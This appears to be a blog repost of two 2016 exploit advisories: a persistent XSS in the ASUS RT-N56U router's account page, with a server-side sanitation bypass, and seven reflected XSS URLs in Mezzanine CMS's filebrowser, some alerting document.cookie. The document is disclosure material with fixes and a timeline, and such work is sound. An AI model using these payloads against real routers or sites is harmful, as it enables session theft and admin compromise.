2016 m. vasario 3 d., trečiadienis

ASUS RT-N56U Persistent XSS

# Exploit Title: ASUS RT-N56U Persistent XSS
# Date: 2/2/2016
# Exploit Author: @GraphX
# Vendor Homepage: http://asus.com/
# Version: 3.0.0.4.374_239

1 Description:
It is possible for an authenticated attacker to bypass input sanitation in
the username input field of the Server Center page. An interception proxy
is not required with the use of the developer console and changing the
field value of the username after the third verification task is complete,
and before the password sanitation begins in the modify_account.asp file.

Alternatively, an attacker can bypass client side sanitation all together
by submitting a valid option and then changing the parameters in an
interception proxy.

There is a small amount of server-side sanitation, but this is easily
circumvented by making sure (in this example) the field value ends up
looking like this. user"><img onerror=alert(1) src=blah>  Keeping the the
src parameter as far to the right as possible appears to circumvent any
server-side sanitation attempts.

2 Proof of Concept

1)Login to router

2)navigate to:
http:/<router_IP>/aidisk/modify_account.asp?account=
user&new_account=user<img
onclick="javascript:alert(1)"
src=blah>&new_password=123&confirm_password=123

3 Solution:
Don't buy ASUS Routers.
**********NOTE******************
Other router models are likely affected by this vulnerability as they
appear to share the same or similar firmware (example: RT-N66U).
I have been unable to confirm this theory as the vendor is unresponsive.

Mezzanine CMS 4.1.0 XSS

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MEZZANINE-CMS-XSS.txt



Vendor:
===================
mezzanine.jupo.org



Product:
================
Mezzanine 4.1.0

Mezzanine is an open source CMS built using the python based Django framework.



Vulnerability Type:
===================
XSS



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

XSS entry points exists within the filebrowser_safe package.

In many areas throughout filebrowser, querystring parameters are passed directly into templates to form URLS for links and forms,
and these were not being escaped correctly, therefore allowing arbitrary JavaScript code to be injected.

In order to exploit this, a attacker would need to trick an authenticated administrator into clicking a malicious link
or viewing a malicious web page containing the XSS payload.

Resolution:
Upgrade right away (pip install -U filebrowser_safe).

If for some reason you're unable to upgrade seamlessly, here is the fix which you need to apply:
https://github.com/stephenmcd/filebrowser-safe/commit/14b30017d27ca6a952e1578ed8cecbb102979967



Exploit code(s):
===============

XSS 1)

http://localhost:8000/admin/media-library/rename/?ot=desc&o=date&filename=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E


XSS 2)

http://localhost:8000/admin/media-library/rename/?ot=desc&o=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&filename=


XSS 3)

http://localhost:8000/admin/media-library/rename/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&o=&filename=


XSS 4)

http://localhost:8000/admin/media-library/browse/?ot=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&dir=gallery&o=date


XSS 5)

http://localhost:8000/admin/media-library/upload/?ot=desc&dir=gallery&o=%3C%2Fscript%3E%3Cscript%3Ealert%28666%29%3C%2Fscript%3E


XSS 6)

http://localhost:8000/admin/media-library/upload/?ot=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS\n\nhyp3rlinx%27%29%3C%2Fscript%3E&dir=gallery&o=date


XSS 7)

http://localhost:8000/admin/media-library/upload//static/filebrowser/uploadify/?=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E



Disclosure Timeline:
=====================================
Vendor Notification: January 26, 2016
Feburary 2, 2016  : Public Disclosure



Exploitation Technique:
=======================
Remote



Severity Level:
================
High



Description:
==============================
=========================
Request Method(s):        [+]  GET


Vulnerable Product:       [+]  Mezzanine 4.1.0

=======================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx